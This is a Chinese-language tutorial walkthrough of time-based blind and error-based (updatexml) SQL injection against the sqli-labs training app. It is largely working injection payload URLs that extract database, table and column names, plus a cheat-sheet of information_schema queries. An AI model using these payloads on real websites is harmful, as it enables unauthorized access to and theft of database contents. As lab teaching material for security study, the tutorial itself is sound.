什么是时间盲注
时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据。
时间盲注的过程
1、找到注入点,并选择合适的注入语句
2、爆破
这里以sqli-lab第九关为例
192.168.3.10/sqli/Less-9/?id=1拿不到明显的回显(You are in…)
192.168.3.10/sqli/Less-9/?id=1’ --+ 也拿不到明显的回显(You are in…)
192.168.3.10/sqli/Less-9/?id=1’ and if(length(database())=7,sleep(6),1)–+
如果数据库的长度等于7的话,睡6s,否则返回1——》执行后发现没有沉睡6s,等式不成立。
192.168.3.10/sqli/Less-9/?id=1’ and if(length(database())=8,sleep(6),1)–+
沉睡了6s——》数据库名长度为8
也可以使用burp爆破出数据库名的长度
爆破数据库名:
192.168.3.10/sqli/Less-9/?id=1’ and if(ascii(substr(select database(),1,1))=115,sleep(6),1)–+
如果ASCII是115则睡6s,否则返回1——》发现一直在回显——》数据库名的第一个字符的ASCII为115(s)
什么是报错注入
利用报错的信息来回显我们想要查询的信息
报错注入的过程
1、找到注入点,是否有报错信息(利用条件)
2、使用updatexml()函数(还有其他函数可以实现,这里以updataxml为例)
首先了解一下updatexml()/extractvalue()函数
UPDATAXML(XML_document,XPath_string,new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string(XPath格式的字符串),如果不了解XPath的语法,可以在网上查找教程
第三个参数:new_value,String格式,替换查找到的符合条件的数据
而我们的注入语句为:
updataxml(1,concat(0x7e,(select version()),0x7e),1)【0x7e其实就是一个波浪线】
其中concat()函数是将其连接成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,报错。
具体xpath格式:http://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html
具体以sql-lab第一关为例
当输入http://192.168.3.10/sqli/Less-1/?id=1’ 时会有报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
使用updataxml函数:http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
出现xpath格式报错,并且把查询信息也爆出来了——》XPATH syntax error: '~ security~'
同理想要查这些数据库有哪些表
http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),0x7e),1) --+
可以发现表被回显出来了
注意:使用group_concat()它所返回的字符串的长度是有限制的
输入:http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’),0x7e),1) --+
做一下限制:http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1) --+
利用limit查看第一条
limit1,1查看第二条:
http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 1,1),0x7e),1) --+
就这样可以慢慢把表名都爆破出来
爆破字段名:
http://192.168.3.10/sqli/Less-1/?id=1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 1,1),0x7e),1) --+
则users表中第二个字段名为:
联合注入,布尔盲注,时间盲注,报错注入一些重复的东西:
select database()
select group_concat(table_name) from information_schema.tables where table_schema=‘xxx’
select group_concat(column_name) from information_schema.columns where table_name=‘xxx’
select group_concat(具体字段名) from 具体的表名